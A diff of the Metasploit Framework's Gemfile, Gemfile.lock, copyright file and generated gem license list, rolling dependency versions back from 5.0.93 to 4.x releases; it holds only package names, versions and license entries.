||||
@@ -40,8 +34,6 @@ group :development, :test do
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
gem 'rubocop'
|
||||
gem 'swagger-blocks'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
||||
+123
-235
@@ -1,41 +1,29 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (5.0.93)
|
||||
metasploit-framework (4.17.2)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
aws-sdk-ec2
|
||||
aws-sdk-iam
|
||||
aws-sdk-s3
|
||||
bcrypt (= 3.1.12)
|
||||
backports
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
bson
|
||||
concurrent-ruby (= 1.0.5)
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday
|
||||
faye-websocket
|
||||
filesize
|
||||
hrr_rb_ssh (= 0.3.0.pre2)
|
||||
irb
|
||||
jsobfu
|
||||
json
|
||||
metasm
|
||||
metasploit-concern (~> 2.0.0)
|
||||
metasploit-credential (~> 3.0.0)
|
||||
metasploit-model (~> 2.0.4)
|
||||
metasploit-payloads (= 1.4.2)
|
||||
metasploit_data_models (~> 3.0.10)
|
||||
metasploit_payloads-mettle (= 0.5.21)
|
||||
metasploit-concern
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.40)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.4.1)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ldap
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
@@ -47,7 +35,7 @@ PATH
|
||||
patch_finder
|
||||
pcaprub
|
||||
pdf-reader
|
||||
pg (~> 0.20)
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline
|
||||
recog
|
||||
@@ -71,16 +59,13 @@ PATH
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby_smb (~> 1.1)
|
||||
ruby_smb
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
sqlite3
|
||||
sshkey
|
||||
thin
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
warden
|
||||
windows_error
|
||||
xdr
|
||||
xmlrpc
|
||||
@@ -89,128 +74,80 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.11.3)
|
||||
actionview (= 4.2.11.3)
|
||||
activesupport (= 4.2.11.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.11.3)
|
||||
activesupport (= 4.2.11.3)
|
||||
actionview (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.11.3)
|
||||
activesupport (= 4.2.11.3)
|
||||
activemodel (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.11.3)
|
||||
activemodel (= 4.2.11.3)
|
||||
activesupport (= 4.2.11.3)
|
||||
activerecord (4.2.10)
|
||||
activemodel (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.11.3)
|
||||
activesupport (4.2.10)
|
||||
i18n (~> 0.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.7.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
addressable (2.5.2)
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.11.0)
|
||||
activerecord (>= 3.1.0, < 7)
|
||||
ast (2.4.0)
|
||||
aws-eventstream (1.1.0)
|
||||
aws-partitions (1.324.0)
|
||||
aws-sdk-core (3.97.1)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.239.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1.0)
|
||||
aws-sdk-ec2 (1.164.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.39.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.33.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.67.1)
|
||||
aws-sdk-core (~> 3, >= 3.96.1)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.1.4)
|
||||
aws-eventstream (~> 1.0, >= 1.0.2)
|
||||
arel-helpers (2.7.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.3)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.1)
|
||||
bindata (2.4.7)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.3)
|
||||
bit-struct (0.16)
|
||||
bson (4.9.1)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
coderay (1.1.3)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.3.1)
|
||||
crass (1.0.4)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.3)
|
||||
dnsruby (1.61.1)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.2)
|
||||
ed25519 (1.2.4)
|
||||
em-http-request (1.1.6)
|
||||
addressable (>= 2.3.4)
|
||||
cookiejar (!= 0.3.1)
|
||||
em-socksify (>= 0.3)
|
||||
eventmachine (>= 1.0.3)
|
||||
http_parser.rb (>= 0.6.0)
|
||||
em-socksify (0.3.2)
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
docile (1.3.1)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (5.2.0)
|
||||
activesupport (>= 4.2.0)
|
||||
factory_bot_rails (5.2.0)
|
||||
factory_bot (~> 5.2.0)
|
||||
railties (>= 4.2.0)
|
||||
faker (2.2.1)
|
||||
i18n (>= 0.8)
|
||||
faraday (1.0.1)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faye-websocket (0.10.9)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.6)
|
||||
hashery (2.1.2)
|
||||
hrr_rb_ssh (0.3.0.pre2)
|
||||
ed25519 (~> 1.2)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.6)
|
||||
irb (1.2.4)
|
||||
reline (>= 0.0.1)
|
||||
jmespath (1.4.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.3.0)
|
||||
loofah (2.5.0)
|
||||
json (2.1.0)
|
||||
loofah (2.2.2)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (0.9.14)
|
||||
metasm (1.0.4)
|
||||
metasm (1.0.3)
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (3.0.4)
|
||||
metasploit-credential (2.0.14)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 3.0.0)
|
||||
net-ssh
|
||||
metasploit_data_models (< 3.0.0)
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
@@ -220,65 +157,55 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.4.2)
|
||||
metasploit_data_models (3.0.10)
|
||||
metasploit-payloads (1.3.40)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
pg (= 0.20.0)
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.5.21)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.14.1)
|
||||
metasploit_payloads-mettle (0.4.1)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.3.3)
|
||||
multipart-post (2.1.1)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ldap (0.16.2)
|
||||
net-ssh (6.0.2)
|
||||
net-ssh (5.0.2)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.10.9)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.18.0)
|
||||
faraday (>= 0.9)
|
||||
nokogiri (1.8.4)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.9.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.2)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.19.1)
|
||||
parser (2.7.1.3)
|
||||
ast (~> 2.4.0)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.4.0)
|
||||
pcaprub (0.12.4)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (0.21.0)
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.9.0)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.13.0)
|
||||
public_suffix (4.0.5)
|
||||
rack (1.6.13)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.10)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
@@ -287,25 +214,21 @@ GEM
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.3.0)
|
||||
loofah (~> 2.3)
|
||||
railties (4.2.11.3)
|
||||
actionpack (= 4.2.11.3)
|
||||
activesupport (= 4.2.11.3)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rainbow (3.0.0)
|
||||
rake (13.0.1)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.8)
|
||||
recog (2.1.20)
|
||||
nokogiri
|
||||
redcarpet (3.5.0)
|
||||
regexp_parser (1.7.0)
|
||||
reline (0.1.4)
|
||||
io-console (~> 0.5)
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.6)
|
||||
rex-bin_tools (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
@@ -316,7 +239,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.24)
|
||||
rex-exploitation (0.1.19)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -329,10 +252,9 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.87)
|
||||
rex-powershell (0.1.78)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.4)
|
||||
rex-text
|
||||
rex-registry (0.1.3)
|
||||
@@ -340,123 +262,89 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.23)
|
||||
rex-socket (0.1.14)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.26)
|
||||
rex-text (0.2.21)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rexml (3.2.4)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.9.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
rspec-expectations (~> 3.9.0)
|
||||
rspec-mocks (~> 3.9.0)
|
||||
rspec-core (3.9.2)
|
||||
rspec-support (~> 3.9.3)
|
||||
rspec-expectations (3.9.2)
|
||||
rspec (3.7.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-mocks (3.9.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-mocks (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-rails (4.0.1)
|
||||
actionpack (>= 4.2)
|
||||
activesupport (>= 4.2)
|
||||
railties (>= 4.2)
|
||||
rspec-core (~> 3.9)
|
||||
rspec-expectations (~> 3.9)
|
||||
rspec-mocks (~> 3.9)
|
||||
rspec-support (~> 3.9)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.2)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.9.3)
|
||||
rubocop (0.85.0)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 2.7.0.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.7)
|
||||
rexml
|
||||
rubocop-ast (>= 0.0.3)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 2.0)
|
||||
rubocop-ast (0.0.3)
|
||||
parser (>= 2.7.0.1)
|
||||
ruby-macho (2.2.0)
|
||||
ruby-prof (1.4.1)
|
||||
ruby-progressbar (1.10.1)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (2.0.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.1.0)
|
||||
ruby_smb (1.0.3)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (2.3.0)
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
simplecov (0.18.2)
|
||||
rubyzip (1.2.1)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
simplecov (0.16.1)
|
||||
docile (~> 1.1)
|
||||
simplecov-html (~> 0.11)
|
||||
simplecov-html (0.12.2)
|
||||
sinatra (1.4.8)
|
||||
rack (~> 1.5)
|
||||
rack-protection (~> 1.4)
|
||||
tilt (>= 1.3, < 3)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (2.0.0)
|
||||
swagger-blocks (3.0.0)
|
||||
thin (1.7.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.0.1)
|
||||
sshkey (1.9.0)
|
||||
thor (0.20.0)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.10)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.6.2.1)
|
||||
tzinfo (1.2.7)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2020.1)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
unicode-display_width (1.7.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
websocket-driver (0.7.2)
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.25)
|
||||
yard (0.9.14)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
factory_bot_rails
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
memory_profiler
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry-byebug
|
||||
pry
|
||||
rake
|
||||
redcarpet
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
rubocop
|
||||
ruby-prof
|
||||
simplecov (= 0.18.2)
|
||||
sqlite3 (~> 1.3.0)
|
||||
swagger-blocks
|
||||
simplecov
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.17.3
|
||||
1.16.2
|
||||
|
||||
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2020, Rapid7, Inc.
|
||||
Copyright: 2006-2018, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
@@ -71,9 +71,9 @@ Files: lib/anemone.rb lib/anemone/*
|
||||
Copyright: 2009 Vertive, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: lib/expect.rb
|
||||
Copyright: 2017 Yukihiro Matsumoto
|
||||
License: Ruby
|
||||
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
@@ -115,14 +115,6 @@ Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
|
||||
Copyright: Copyright 2018 SmartBear Software
|
||||
License: Apache 2.0
|
||||
|
||||
Files: data/jtr/*
|
||||
Copyright: Copyright 1996-2013 by Solar Designer
|
||||
License: GNU GPL 2.0
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
+94
-131
@@ -1,167 +1,130 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.0.3, MIT
|
||||
actionpack, 4.2.11.3, MIT
|
||||
actionview, 4.2.11.3, MIT
|
||||
activemodel, 4.2.11.3, MIT
|
||||
activerecord, 4.2.11.3, MIT
|
||||
activesupport, 4.2.11.3, MIT
|
||||
addressable, 2.7.0, "Apache 2.0"
|
||||
Ascii85, 1.0.2, MIT
|
||||
actionpack, 4.2.9, MIT
|
||||
actionview, 4.2.9, MIT
|
||||
activemodel, 4.2.9, MIT
|
||||
activerecord, 4.2.9, MIT
|
||||
activesupport, 4.2.9, MIT
|
||||
addressable, 2.5.1, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.11.0, MIT
|
||||
ast, 2.4.0, MIT
|
||||
aws-eventstream, 1.1.0, "Apache 2.0"
|
||||
aws-partitions, 1.324.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.97.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.164.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.39.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.33.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.67.1, "Apache 2.0"
|
||||
aws-sigv4, 1.1.4, "Apache 2.0"
|
||||
bcrypt, 3.1.12, MIT
|
||||
bcrypt_pbkdf, 1.0.1, MIT
|
||||
bindata, 2.4.7, ruby
|
||||
arel-helpers, 2.4.0, unknown
|
||||
backports, 3.8.0, MIT
|
||||
bcrypt, 3.1.11, MIT
|
||||
bindata, 2.4.0, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
bson, 4.9.1, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 1.17.3, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.3.1, MIT
|
||||
builder, 3.2.3, MIT
|
||||
bundler, 1.15.1, MIT
|
||||
coderay, 1.1.1, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.3, "Apache 2.0"
|
||||
docile, 1.3.2, MIT
|
||||
ed25519, 1.2.4, MIT
|
||||
em-http-request, 1.1.6, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
dnsruby, 1.60.1, "Apache 2.0"
|
||||
docile, 1.1.5, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 5.2.0, MIT
|
||||
factory_bot_rails, 5.2.0, MIT
|
||||
faker, 2.2.1, MIT
|
||||
faraday, 1.0.1, MIT
|
||||
faye-websocket, 0.10.9, "Apache 2.0"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
factory_girl, 4.8.0, MIT
|
||||
factory_girl_rails, 4.8.0, MIT
|
||||
faraday, 0.12.1, MIT
|
||||
filesize, 0.1.1, MIT
|
||||
fivemat, 1.3.5, MIT
|
||||
google-protobuf, 3.3.0, "New BSD"
|
||||
googleauth, 0.5.1, "Apache 2.0"
|
||||
grpc, 1.4.1, "New BSD"
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
|
||||
http_parser.rb, 0.6.0, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
io-console, 0.5.6, "Simplified BSD"
|
||||
irb, 1.2.4, "Simplified BSD"
|
||||
jmespath, 1.4.0, "Apache 2.0"
|
||||
i18n, 0.8.6, MIT
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.3.0, ruby
|
||||
loofah, 2.5.0, MIT
|
||||
memory_profiler, 0.9.14, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
json, 2.1.0, ruby
|
||||
jwt, 1.5.6, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.2.2, MIT
|
||||
loofah, 2.0.3, MIT
|
||||
memoist, 0.16.0, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasploit-aggregator, 0.2.1, "New BSD"
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.4, "New BSD"
|
||||
metasploit-framework, 5.0.93, "New BSD"
|
||||
metasploit-credential, 2.0.10, "New BSD"
|
||||
metasploit-framework, 4.15.0, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.4.2, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.10, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.21, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.14.1, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.3.3, "Apache 2.0"
|
||||
multipart-post, 2.1.1, MIT
|
||||
metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.15, "New BSD"
|
||||
metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.8.2, MIT
|
||||
mini_portile2, 2.2.0, MIT
|
||||
minitest, 5.10.2, MIT
|
||||
msgpack, 1.1.0, "Apache 2.0"
|
||||
multi_json, 1.12.1, MIT
|
||||
multipart-post, 2.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.16.2, MIT
|
||||
net-ssh, 6.0.2, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.10.9, MIT
|
||||
octokit, 4.18.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
net-ssh, 4.1.0, MIT
|
||||
network_interface, 0.0.1, MIT
|
||||
nexpose, 6.1.0, BSD
|
||||
nokogiri, 1.8.0, MIT
|
||||
octokit, 4.7.0, MIT
|
||||
openssl-ccm, 1.2.1, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
os, 0.9.6, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.19.1, MIT
|
||||
parser, 2.7.1.3, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.0, LGPL-2.1
|
||||
pdf-reader, 2.4.0, MIT
|
||||
pg, 0.21.0, "New BSD"
|
||||
pcaprub, 0.12.4, LGPL-2.1
|
||||
pdf-reader, 2.0.0, MIT
|
||||
pg, 0.20.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.5, MIT
|
||||
rack, 1.6.13, MIT
|
||||
rack-protection, 1.5.5, MIT
|
||||
postgres_ext, 3.0.0, MIT
|
||||
pry, 0.10.4, MIT
|
||||
public_suffix, 2.0.5, MIT
|
||||
rack, 1.6.8, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.9, MIT
|
||||
rails-html-sanitizer, 1.3.0, MIT
|
||||
railties, 4.2.11.3, MIT
|
||||
rainbow, 3.0.0, MIT
|
||||
rake, 13.0.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.8, unknown
|
||||
redcarpet, 3.5.0, MIT
|
||||
regexp_parser, 1.7.0, MIT
|
||||
reline, 0.1.4, "Ruby License"
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.6, "New BSD"
|
||||
rex-core, 0.1.13, "New BSD"
|
||||
rails-dom-testing, 1.0.8, MIT
|
||||
rails-html-sanitizer, 1.0.3, MIT
|
||||
railties, 4.2.9, MIT
|
||||
rake, 12.0.0, MIT
|
||||
rb-readline, 0.5.4, BSD
|
||||
recog, 2.1.11, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
rex-arch, 0.1.9, "New BSD"
|
||||
rex-bin_tools, 0.1.4, "New BSD"
|
||||
rex-core, 0.1.11, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.24, "New BSD"
|
||||
rex-exploitation, 0.1.15, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
